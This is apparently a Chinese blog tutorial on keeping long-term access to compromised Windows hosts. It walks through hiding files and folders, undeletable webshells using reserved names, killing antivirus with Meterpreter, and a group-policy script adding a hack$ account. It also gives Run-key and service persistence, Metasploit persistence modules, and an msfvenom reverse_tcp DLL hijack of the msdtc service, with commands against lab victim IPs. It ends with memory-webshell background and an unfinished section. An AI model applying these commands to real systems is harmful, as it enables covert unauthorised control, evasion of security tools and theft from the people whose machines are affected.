Windows权限维持
权限维持是一项必要且需要得技巧,当在外网中打点后,需要保证点的持久性,使团队能够专注于目标,而不会失去指挥和控制服务器的通信。
隐藏的技巧
“真正”隐藏文件
使用attrib+s+a+h+r
命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
1 | Attrib+s +a +h +r |
测试如下:
在当前目录输入命令
1 | Attrib+s +a +h +r test |
test文件夹成功消失,命令行和界面里都没有了。
接下来仍然可以使用
1 | Attrib-s -a -h -r test |
恢复该文件的正常属性。
就又回来了
系统文件夹图标
- 建一个文件夹,假设叫“我的电脑”
- 然后把要存放的文件放在里面
- 给文件夹重新命名为“我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}”
测试如下:
在test文件夹里新建一个test.txt,将test文件夹重命名为“我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}”。
接下来就会生成这样的,点进去后发现跳转到我的电脑界面,并且该文件因为是系统文件夹涉及到注册表等还无法删除,或者重命名后面的字段(图形化界面中)。
但是此方法在cmd里面使用dir可以查看到,也能通过cd进入真正的文件夹。
下面是代号:
1 | 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D} |
畸形目录
只需要在目录名后面加两个点或者多个点。用户图形界面无法访问。
1 | 创建目录:md test...\ //在目录中显示为test...,也有可能会显示为test..,随系统版本而定。 |
在win11中,该目录点击后没有反应
在注册表中,也不能使用cd命令进入
那么我们该怎么访问里面的文件呢,答案是通过浏览器来访问。在本地开一个http服务,然后通过浏览器,可以直接访问到里面的文件。
创建无法删除的webshell
windows系统中,不能使用某些系统保留名来创建文件\文件夹,包括aux,com1,com2,prn,con和nul等,但是这些是可以通过cmd来创建的,并且使用copy命令就可以实现。
测试如下:
1 | F:\kcon>copy test.txt aux.asp |
利用系统保留文件名创建无法删除的webshell,这类文件无法再图形界面删除,但是可以在命令行下删除,然而在IIS中,这种文件也可以解析。
驱动级文件隐藏
驱动级文件隐藏可以通过一些软件来实现,比如 Easy File Locker
该方法促成的效果就是可以让文件不会显示,不能通过列目录列出来,也不能删除,除非知道完整的路径,你才可以读取文件内容。
关闭杀软
拿到目标的shell后,我们做的第一件事情就是关闭目标主机的杀毒软件,通过命令
1 | run killav //meterperter中使用 |
组策略
组策略后门比较起其他的后门更加隐蔽。往注册表中添加相应的键值实现随系统启动而运行的木马就是一个木马运行的常用例子。其实组策略也可以实现该功能,而且它还可以在系统关机的时候进行某种操作。这就是通过组策略的”脚本(启动/关机)“项目来实现的。具体的位置在”计算机配置->windows设置“项下。
测试如下:
在虚拟机里面新建一个txt,输入以下内容
1 | echo off |
重命名为add.bat,接着在win+r对话框中输入⼊gpedit.msc
,定位到”计算机配置->windows设置->脚本(启动/关机)“,双击右边窗口的关机,在其中添加add.bat。就是说当系统关机时创建hack$用户。
对于组策略后门还有各种各样的利用方法,攻击者通过它来运行脚本或者程序,嗅探管理员密码等等。当他们获取了管理员的密码后,就可以直接利用管理员账户远程登陆系统。
注册表
在windows登录期间创建将执行任意负载的注册表项是老生常谈的话题,也是经典手段之一。这种持久性技术需要创建注册表,而各种渗透工具都提供了这种能力。
1 | 注册表项可以从终端添加到运行键以实现持久性。这些键将包含用户登录时将执行的实际负载的引用 |
命令行中我们可以输入以下命令来添加注册表
1 | reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v |
以上是添加当前用户的Run键。
如果已经获得system权限的shell,则最好使用本地计算机注册表位置。这样就无论谁登录,都可以进行执行。
1 | reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v |
ps:Run中的程序是在每次系统启动时被启动,RunServices则是会在每次登录系统时被启动。
测试环境:
kali:192.168.137.133
win7(受害机):192.168.137.140
中转机:192.168.137.1
将shell.exe 和 pentestlab.exe下载进受害机器。并且连接shell。
因为好输入的关系,就直接在受害机器的cmd上输入了命令
重启受害机(以当前用户),发现会自动回连kali监听终端。
另外还有两个注册表位置,这些位置允许攻击者通过执行任意有效负载或者DLL来实现持久性,这些将在登陆期间执行,并且需要管理员级别的权限。
1 | reg add |
(ps:这个最特别的差别是它可以实现dll的加载,这些将在登录期间执行。并且需要管理员级别的权限。)
Metasploit
metasploit
框架通过使用Meterpreter
脚本和后期利用模块通过注册表支持持久性。Meterpreter脚本将以vbs脚本的形式创建一个有效负载,该脚本将被拖放到磁盘上,并将创建一个注册表项,该注册表项将在用户登录期间运行有效负载。
测试环境:
kali:192.168.137.133
win7(受害机):192.168.137.140
中转机:192.168.137.1
仍然先连接shell。
1 | run persistence -U -P windows/meterpreter/reverse_tcp -i 5 -p 4444 -r |
接下来重启受害机等待自动重连。
其实在注册表里面也是能够看到该注册项目的
计划任务
windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本。这种行为可作为一种持久性机制被恶意利用。通过计划任务执行持久性不需要管理员权限。但如果已经获得了管理员权限的话,则允许进一步操作,例如在用户登录期间或者在空闲状态期间来执行任务。
计划任务的持久化技术既可以手动实现,也可以自动实现。有效负载可以从磁盘或者远程位置执行,它们可以具有可执行文件、Powershell脚本或小脚本的形式。这虽然可以被认为是一种旧的持久性技术,但是仍然可以在持久化场景中使用。
Metasploit
的web_delivery
模块可用于托管和生成各种格式的有效负载。
新服务
如果未正确配置Windows环境中的服务或这些服务可以用作持久性方法,则致谢服务可能导致权限提升,创建一个新的服务需要管理员级别的权限。
命令行实现
如果账户具有本地管理员特权,则可以从命令提示符创建服务。参数binpath
用于执行任意有效负载,而参数”auto”用于确保恶意服务自动启动
1 | sc create pentestlab binpath= "cmd.exe /k C:\Users\pte1\Downloads\pentestlab.exe" start="auto" |
测试环境:
kali:192.168.137.133
win7(受害机):192.168.137.140
中转机:192.168.137.1
注意cmd需要在管理员权限下使用
为了方便就直接在受害机器上创建服务引用之前的木马。然后只需要启动服务就可以自动连接上msf回话了
Metasploit
Metasploit框架的后开发模块,也支持两种持久性技术。
- 注册表运行键
- 新服务
在新建的msf会话里面通过persistence_exe来增添新的服务。
1 | use post/windows/manage/persistence_exe |
测试环境:
在新建的msf会话里面输入以下命令
1 | use post/windows/manage/persistence_exe |
设置相应参数之后run
(ps:该方法需要在提权后的shell后才能使用,否则会创建失败)
内存马
内存⻢是⽆⽂件攻击的⼀种技术⼿段,那我们不得不先简单介绍⼀下⽆⽂件攻击。⽆⽂件攻击可以有效地躲避传统 安全软件的检测,它们可以在系统的内存中远程加载执⾏、驻留在注册表中或滥⽤常⽤的⽩名单⼯具,例如 PowerShell,Windows Management Instrumentation(WMI)和PsExec等。⽆⽂件攻击技术允许攻击者访问系 统,从⽽启⽤后续的恶意活动。通过操纵漏洞利⽤程序、合法⼯具、宏和脚本,攻击者可以破坏系统、提升特权或在⽹络上横向传播恶意代码。⽽且,⽆⽂件威胁在执⾏后不会留下任何痕迹,这使其难以被检测和清除。
内存⻢是⽆⽂件攻击的⼀种常⽤⼿段,随着攻防演练热度越来越⾼:攻防双⽅的博弈,流量分析、EDR等专业安全 设备被蓝⽅⼴泛使⽤,传统的⽂件上传的webshll或以⽂件形式驻留的后⻔越来越容易被检测到,内存⻢使⽤越来 越多。
Webshell内存⻢,是在内存中写⼊恶意后⻔和⽊⻢并执⾏,达到远程控制Web服务器的⼀类内存⻢,其瞄准了企 业的对外窗⼝:⽹站、应⽤。但传统的Webshell都是基于⽂件类型的,⿊客可以利⽤上传⼯具或⽹站漏洞植⼊⽊⻢,区别在于Webshell内存⻢是⽆⽂件⻢,利⽤中间件的进程执⾏某些恶意代码,不会有⽂件落地,给检测带来巨⼤难度。
内存⻢类型 根据内存⻢注⼊的⽅式,⼤致可以将内存⻢划分为如下两类
1.servlet-api型
通过命令执⾏等⽅式动态注册⼀个新的listener、filter或者servlet,从⽽实现命令执⾏等功能。特定框架、容器的 内存⻢原理与此类似,如spring的controller内存⻢,tomcat的valve内存⻢
2.字节码增强型
通过java的instrumentation动态修改已有代码,进⽽实现命令执⾏等功能。
3.什么是servlet
Servlet 是运⾏在 Web 服务器或应⽤服务器上的程序,它是作为来⾃ HTTP 客户端的请求和 HTTP 服务器上的数据 库或应⽤程序之间的中间层。它负责处理⽤户的请求,并根据请求⽣成相应的返回信息提供给⽤户。
4.请求的处理过程
客户端发起⼀个http请求,⽐如get类型。
Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
Servlet容器调⽤HttpServlet的init()⽅法,init⽅法只在第⼀次请求的时候被调⽤。
Servlet容器调⽤service()⽅法。
service()⽅法根据请求类型,这⾥是get类型,分别调⽤doGet或者doPost⽅法,这⾥调⽤doGet⽅法。
doXXX⽅法中是我们⾃⼰写的业务逻辑。
业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。
容器关闭时候,会调⽤destory⽅法。
5.servlet生命周期
服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第⼀次请求该servlet时,就会初始化⼀个 Servlet对象,也就是会执⾏初始化⽅法init(ServletConfig conf)。
servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)⽅法中执⾏
服务器关闭时,销毁这个servlet对象,执⾏destroy()⽅法。
由JVM进⾏垃圾回收。
劫持后门
msdtc.exe简介
msdtc.exe是微软的分布式传输协调程序,该进程调用了系统的Microsoft personal Web Server
和 Microsoft SQL Server
。该服务用于管理多个服务器。
msdtc.exe是一个并列的事务,是分布于两个以上的服务器,消息队列、文件系统或者其他事务保护资源管理器。
它对应的服务是MSDTC,全称为Distributed Transaction Coordinator,是windows系统默认启动的服务。
对应的进程msdtc.exem,它位于windir/system32目录下
当windows操作系统启动Microsoft msdtc服务时,攻击便开始了,该服务可以协调跨越多个资源管理器(例如数据库,消息队列和文件系统)的事务。一旦msdtc服务启动,它将搜索注册表。
当计算机加入域中,msdtc服务启动时,会搜索注册表表HKEY_LOCAL_MACHINE-> SOFTWARE->Microsoft->MSDTC->MTxOCI
该服务的mtxoci搜索三个dll:oci.dll
,SQLLIB80.dll
,xa80.dll
。windows系统默认不包含oci.dll
(虽然注册表看起有,但是文件下搜不到)
所以我们可以将我们的后门dll重命名为oci.dll。并将其放置在%SystemRoot%\ system32 \中。ocidll就绪,使用远程作业命令杀死msdtc服务,之后在重启它。但是这一次,它将查找oci.dll.这时候就会利于这个服务把后门dll拉起来。
生成dll木马文件
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=8888 -f dll > |
将生成oci.dll上传到目标机器的 C:\Windows\System32目录下
1 | $upload oci.dll C:\\Windows |
oci.dll放入system32,重启msdtc服务
1 | taskkill /f /im msdtc.exe |
重启msdtc
1 | net start msdtc |
WMI构造无文件后门
WMI是一项windows管理技术,全称是windows management instrumentation,即windows管理规范。大多数基于windows的软件依靠此服务。无文件无进程使得他非常隐蔽成为后门,但由于他的隐蔽性现在也被多数杀软所追杀。
通过与powershell命令配合使用可以实现无文件,具有良好的隐蔽性也是目前较为常用的持久化手段。
Sharpstay
留下以后填坑